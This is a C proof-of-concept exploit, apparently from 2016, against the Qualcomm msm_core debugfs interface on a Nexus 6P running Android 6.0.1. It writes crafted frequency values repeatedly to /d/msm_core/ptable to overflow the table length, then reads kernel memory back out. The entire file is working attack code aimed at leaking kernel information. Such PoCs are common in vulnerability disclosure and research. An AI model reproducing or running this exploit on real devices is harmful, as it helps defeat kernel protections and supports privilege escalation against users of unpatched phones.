/*
The poc can leak kernel information

The poc was tested in nexus6p with fingerprint:

shell@angler:/ $ getprop ro.build.fingerprint
google/angler/angler:6.0.1/MTC19X/2960136:user/release-keys

Author : Gengjia Chen(@chengjia4574) [chengjia4574@gmail.com]
Time: 20160727
*/

#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <asm/ioctl.h>
#include <linux/ppp-ioctl.h>



#define NUM  128
#define ADDR 0x2222222200000000
#define MAX_PSTATES 20
#define LEAK_TIMES MAX_PSTATES * 5 // you can modify this value

// echo '0 0' > /d/msm_core/enable
void clear_cpuo_ptable()
{
	char * path = "/d/msm_core/enable";
	int fd, ret;
	char buf[NUM];
	fd = open(path, O_RDWR);
	if(fd<0) {
		printf("open %s fail %s\n",path, strerror(errno));
		return -1;
	}
	printf("open %s succ\n",path);
	sprintf(buf, "%lu %lu", 0 , 0);

	ret = write(fd, &buf[0], NUM);
	if(ret<0) {
		printf("write fail %s\n",strerror(errno));
	} 

	close(fd);
}

// echo '0 2459565875921944576 1' > /d/msm_core/ptable  several times
void overflow_ptable_len()
{
	char buf[NUM];
	int ret, i, fd;
	unsigned long freq;
	char *ptr;
	char* path = "/d/msm_core/ptable";

	fd = open(path, O_RDWR);
	if(fd<0) {
		printf("open %s fail %s\n",path, strerror(errno));
		return -1;
	}
	printf("open %s succ\n",path);

	ptr = &buf[0];
	freq = ADDR;
	sprintf(ptr, "%lu %lu %lu", 0, freq, 1);
	printf(" str %s\n", &buf[0]);

	for(i = 0; i < LEAK_TIMES; i++) {
		ret = write(fd, &buf[0], NUM);
		if(ret<0) {
			printf("write fail %s\n",strerror(errno));
		} else printf("succ write %d byte\n",ret);
	}

	close(fd);
	return 0;
}


// cat /d/msm_core/ptable
void read_leakinfo()
{
	char buf[4096];
	int ret, i, fd;
	unsigned long freq;
	char* path = "/d/msm_core/ptable";

	fd = open(path, O_RDWR);
	if(fd<0) {
		printf("open %s fail %s\n",path, strerror(errno));
		return -1;
	}
	printf("open %s succ\n",path);


	read(fd, buf, 4096);
	printf("%s \n", buf);
}

	int
main(int argc, char *argv[])
{
	clear_cpuo_ptable(); 
	overflow_ptable_len(); 
	read_leakinfo(); 
	return 0;
}
